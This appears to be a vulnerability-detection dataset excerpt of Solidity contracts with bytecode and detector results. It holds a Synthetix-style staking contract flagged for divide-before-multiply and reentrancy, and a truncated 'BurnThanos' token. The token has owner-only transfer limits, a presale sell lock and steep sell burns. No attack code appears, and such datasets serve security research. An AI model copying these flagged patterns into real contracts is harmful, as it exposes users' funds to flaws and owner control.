function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IStakingRewards.sol
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
// File: contracts/libraries/SafeMath.sol
// (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol)
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: contracts/libraries/SafeERC20.sol
/**
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has two parts:
// 1. The call itself is made, and success asserted
// 2. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/libraries/Address.sol
// (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol)
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/ReentrancyGuard.sol
// (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol)
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/StakingRewards.sol
/**
* https://github.com/Synthetixio/synthetix/blob/develop/contracts/StakingRewards.sol
*/
contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
address public rewardsToken;
address public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 100 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken
) public {
rewardsToken = _rewardsToken;
stakingToken = _stakingToken;
rewardsDistribution = _rewardsDistribution;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return SafeMath.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
IERC20(stakingToken).safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
IERC20(rewardsToken).safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = IERC20(rewardsToken).balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
|
0x608060405234801561001057600080fd5b50600436106101365760003560e01c806372f702f3116100b8578063c8f33c911161007c578063c8f33c911461029a578063cd3daf9d146102a2578063d1af0c7d146102aa578063df136d65146102b2578063e9fad8ee146102ba578063ebe2b12b146102c257610136565b806372f702f31461023f5780637b0a47ee1461024757806380faa57d1461024f5780638b87634714610257578063a694fc3a1461027d57610136565b8063386a9525116100ff578063386a9525146101c85780633c6b16ab146101d05780633d18b912146101ed5780633fc6df6e146101f557806370a082311461021957610136565b80628cc2621461013b5780630700037d1461017357806318160ddd146101995780631c1f78eb146101a15780632e1a7d4d146101a9575b600080fd5b6101616004803603602081101561015157600080fd5b50356001600160a01b03166102ca565b60408051918252519081900360200190f35b6101616004803603602081101561018957600080fd5b50356001600160a01b0316610360565b610161610372565b610161610379565b6101c6600480360360208110156101bf57600080fd5b5035610397565b005b610161610538565b6101c6600480360360208110156101e657600080fd5b503561053e565b6101c661078f565b6101fd6108c5565b604080516001600160a01b039092168252519081900360200190f35b6101616004803603602081101561022f57600080fd5b50356001600160a01b03166108d4565b6101fd6108ef565b6101616108fe565b610161610904565b6101616004803603602081101561026d57600080fd5b50356001600160a01b0316610912565b6101c66004803603602081101561029357600080fd5b5035610924565b610161610ac3565b610161610ac9565b6101fd610b23565b610161610b32565b6101c6610b38565b610161610b5b565b6001600160a01b0381166000908152600a6020908152604080832054600990925282205461035a919061034e90670de0b6b3a7640000906103429061031d90610311610ac9565b9063ffffffff610b6116565b6001600160a01b0388166000908152600c60205260409020549063ffffffff610baa16565b9063ffffffff610c0316565b9063ffffffff610c6d16565b92915050565b600a6020526000908152604090205481565b600b545b90565b6000610392600654600554610baa90919063ffffffff16565b905090565b600260015414156103ef576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600155336103fd610ac9565b600855610408610904565b6007556001600160a01b0381161561044f57610423816102ca565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008211610498576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600b546104ab908363ffffffff610b6116565b600b55336000908152600c60205260409020546104ce908363ffffffff610b6116565b336000818152600c60205260409020919091556003546104fa916001600160a01b039091169084610cc7565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a2505060018055565b60065481565b6000546001600160a01b031633146105875760405162461bcd60e51b815260040180806020018281038252602a815260200180610fa2602a913960400191505060405180910390fd5b6000610591610ac9565b60085561059c610904565b6007556001600160a01b038116156105e3576105b7816102ca565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60045442106106085760065461060090839063ffffffff610c0316565b600555610657565b60045460009061061e904263ffffffff610b6116565b9050600061063760055483610baa90919063ffffffff16565b60065490915061065190610342868463ffffffff610c6d16565b60055550505b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156106a257600080fd5b505afa1580156106b6573d6000803e3d6000fd5b505050506040513d60208110156106cc57600080fd5b50516006549091506106e590829063ffffffff610c0316565b600554111561073b576040805162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015290519081900360640190fd5b426007819055600654610754919063ffffffff610c6d16565b6004556040805184815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b600260015414156107e7576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600155336107f5610ac9565b600855610800610904565b6007556001600160a01b038116156108475761081b816102ca565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b336000908152600a602052604090205480156108bd57336000818152600a6020526040812055600254610886916001600160a01b039091169083610cc7565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b505060018055565b6000546001600160a01b031681565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b031681565b60055481565b600061039242600454610d1e565b60096020526000908152604090205481565b6002600154141561097c576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026001553361098a610ac9565b600855610995610904565b6007556001600160a01b038116156109dc576109b0816102ca565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008211610a22576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600b54610a35908363ffffffff610c6d16565b600b55336000908152600c6020526040902054610a58908363ffffffff610c6d16565b336000818152600c6020526040902091909155600354610a85916001600160a01b03909116903085610d34565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a2505060018055565b60075481565b6000600b5460001415610adf5750600854610376565b610392610b14600b54610342670de0b6b3a7640000610b08600554610b08600754610311610904565b9063ffffffff610baa16565b6008549063ffffffff610c6d16565b6002546001600160a01b031681565b60085481565b336000908152600c6020526040902054610b5190610397565b610b5961078f565b565b60045481565b6000610ba383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d94565b9392505050565b600082610bb95750600061035a565b82820282848281610bc657fe5b0414610ba35760405162461bcd60e51b8152600401808060200182810382526021815260200180610f816021913960400191505060405180910390fd5b6000808211610c59576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b6000828481610c6457fe5b04949350505050565b600082820183811015610ba3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610d19908490610e2b565b505050565b6000818310610d2d5781610ba3565b5090919050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610d8e908590610e2b565b50505050565b60008184841115610e235760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610de8578181015183820152602001610dd0565b50505050905090810190601f168015610e155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006060836001600160a01b0316836040518082805190602001908083835b60208310610e695780518252601f199092019160209182019101610e4a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610ecb576040519150601f19603f3d011682016040523d82523d6000602084013e610ed0565b606091505b509150915081610f27576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610d8e57808060200190516020811015610f4357600080fd5b5051610d8e5760405162461bcd60e51b815260040180806020018281038252602a815260200180610fcc602a913960400191505060405180910390fdfe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820503569b9898fe8bf957ddf129ea29f058729271dae23d0ffdb806a916d723e6c64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,201 |
0xb8f750e889765372a859bac9b9c66f96a8f8e4ea
|
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isUniswap;
mapping (address => uint256) private lastReceive;
string private _name;
string private _symbol;
uint256 private _totalSupply;
uint8 private _decimals;
uint256 private tokenLimit = 8000000000000000000;
bool public limitEnabled = true;
uint256 public onUniswap = 0;
bool public presaleLocked = true;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "BurnThanos";
_symbol = "BTHAN";
_decimals = 18;
_mint(_msgSender(), 500000000000000000000);
}
function burnPercentage(address _addr) private view returns (uint256) {
uint256 mins = (block.timestamp - lastReceive[_addr]) / 1 minutes;
if(mins < 2){
return 30;
}
else if(mins < 5){
return 20;
}
else if(mins < 10){
return 15;
}
else{
return 10;
}
}
function switchPresale() public onlyOwner {
presaleLocked = !presaleLocked;
}
function switchLimit() public onlyOwner {
limitEnabled = !limitEnabled;
}
function setUniswap(address _addr) public onlyOwner {
if(onUniswap == 0){
onUniswap = block.timestamp;
}
_isUniswap[_addr] = true;
}
function removeUniswap(address _addr) public onlyOwner {
_isUniswap[_addr] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!limitEnabled || amount <= tokenLimit || owner() == _msgSender(), "Only a maximum of 8 tokens can be transferred at once");
if(_isUniswap[sender] || _isUniswap[recipient]){
if((block.timestamp - onUniswap) / 1 minutes < 10 && presaleLocked && lastReceive[sender] > 0 && lastReceive[sender] < onUniswap){
revert();
}
if(!_isUniswap[sender]){
uint256 sellBurn = amount.mul(burnPercentage(sender)).div(100);
_burn(sender, sellBurn);
_balances[sender] = _balances[sender].sub(amount.sub(sellBurn), "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount.sub(sellBurn));
emit Transfer(sender, recipient, amount.sub(sellBurn));
}else if(_isUniswap[sender]){
uint256 sellBurn = amount.mul(10).div(100);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
_burn(recipient, sellBurn);
lastReceive[recipient] = block.timestamp;
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
lastReceive[recipient] = block.timestamp;
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063a9059cbb1161007c578063a9059cbb14610579578063c29ad3ff146105dd578063dd62ed3e146105e7578063df4e30261461065f578063e45ac6f41461067d578063f2fde38b1461069d57610137565b80638da5cb5b146104105780638efecdda1461044457806395d89b4114610488578063971646f51461050b578063a457c2d71461051557610137565b806339509351116100ff57806339509351146102e65780635d1cac481461034a5780636d800a3c1461038e57806370a08231146103ae578063715018a61461040657610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022357806323b872dd14610241578063313ce567146102c5575b600080fd5b6101446106e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610783565b60405180821515815260200191505060405180910390f35b61022b6107a1565b6040518082815260200191505060405180910390f35b6102ad6004803603606081101561025757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ab565b60405180821515815260200191505060405180910390f35b6102cd610884565b604051808260ff16815260200191505060405180910390f35b610332600480360360408110156102fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061089b565b60405180821515815260200191505060405180910390f35b61038c6004803603602081101561036057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061094e565b005b610396610a71565b60405180821515815260200191505060405180910390f35b6103f0600480360360208110156103c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a84565b6040518082815260200191505060405180910390f35b61040e610acd565b005b610418610c53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104866004803603602081101561045a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7c565b005b610490610db2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d05780820151818401526020810190506104b5565b50505050905090810190601f1680156104fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610513610e54565b005b6105616004803603604081101561052b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f48565b60405180821515815260200191505060405180910390f35b6105c56004803603604081101561058f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611015565b60405180821515815260200191505060405180910390f35b6105e5611033565b005b610649600480360360408110156105fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611127565b6040518082815260200191505060405180910390f35b6106676111ae565b6040518082815260200191505060405180910390f35b6106856111b4565b60405180821515815260200191505060405180910390f35b6106df600480360360208110156106b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c7565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107795780601f1061074e57610100808354040283529160200191610779565b820191906000526020600020905b81548152906001019060200180831161075c57829003601f168201915b5050505050905090565b600061079761079061145a565b8484611462565b6001905092915050565b6000600754905090565b60006107b8848484611659565b610879846107c461145a565b6108748560405180606001604052806028815260200161266760289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061082a61145a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206e9092919063ffffffff16565b611462565b600190509392505050565b6000600860009054906101000a900460ff16905090565b60006109446108a861145a565b8461093f85600260006108b961145a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d290919063ffffffff16565b611462565b6001905092915050565b61095661145a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a16576040517f08c379a0000000000000000000000000000000000000000000000000000